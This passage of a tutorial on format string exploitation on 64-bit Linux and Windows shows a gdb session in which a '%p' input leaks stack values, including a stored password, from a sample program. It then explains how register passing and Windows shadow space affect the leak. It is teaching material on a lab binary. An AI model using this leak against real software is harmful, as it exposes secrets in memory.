Starting program: /home/hackintosh/projects/format_string/sample1.out 

Enter your password: %p.%p.%p.%p.%p.%p.%p.%p


Breakpoint 1, 0x00005555555551ea in main () at sample1.c:10
10          printf(input);
(gdb) info registers
rax            0x0                 0
rbx            0x0                 0
rcx            0x0                 0
rdx            0x0                 0
rsi            0x3a                58
rdi            0x7fffffffdc80      140737488346240
rbp            0x7fffffffdcf0      0x7fffffffdcf0
rsp            0x7fffffffdc70      0x7fffffffdc70
r8             0x0                 0
r9             0xffffffffffffff88  -120
r10            0x555555556021      93824992239649
r11            0x246               582
r12            0x555555555080      93824992235648
r13            0x0                 0
r14            0x0                 0
r15            0x0                 0
rip            0x5555555551ea      0x5555555551ea <main+113>
eflags         0x202               [ IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
(gdb) x/20x $rsp
0x7fffffffdc70: 0x00000000      0x65680000      0x006f6c6c      0x00000000
0x7fffffffdc80: 0x252e7025      0x70252e70      0x2e70252e      0x252e7025
0x7fffffffdc90: 0x70252e70      0x0070252e      0x000000c2      0x00000000
0x7fffffffdca0: 0xffffdcc7      0x00007fff      0xf7e73efc      0x00007fff
0x7fffffffdcb0: 0xf7fd34a0      0x00007fff      0x5555528d      0x00005555
(gdb) c
Continuing.
 Your string is :0x3a.(nil).(nil).(nil).0xffffffffffffff88.0x6568000000000000.0x6f6c6c.0x70252e70252e7025
 Password doesn't match
[Inferior 1 (process 2786) exited normally]

As you can see above, after first 5 values we start to get the 8 bytes values from the stack. Luckily, our password string is also retrieved with other stack data.

Format String in x64 Windows

At last, lets check the format string in Windows system. Compile the same program in visual studio and execute it.

We are getting some addresses as expected. But Let's verify that in debugger.

Open the program in x64dbg and put breakpoint at 3rd printf. Execute the program with 6 %p.

Your code will break at 3rd printf call. Notice the register and stack at that instance.

Now, continue the execution to check the string returned by the program.

You will notice that the first three address are as expected from RDX, R8, R9, as the parameters passing sequence in windows is RCX, RDX, R8, R9 and stack. But the later 3 address are from stack after latest 4 entries( 32 bytes) in top of the stack.

Calling convention Rule 2: In 64 bit windows, while calling a function, even tough the first 4 parameters are passed through registers, still space for them are allocated in stack for optimization purpose. This space of 32 bytes is called home space or shadow space.

Hence, in the above case we are not getting the data of first 32 bytes from rsp in our string since that space is reserved home space. After keeping that in mind, you can create your string with format characters  in such a way that you reach to the saved password.

So, we have seen the two minor difference calling convention of 64 bit architecture cause, that can affect your format string exploitation. I will end the post here, but I will encourage you to do more research on format string exploitation since there is lot more ways you can use format string vulnerability.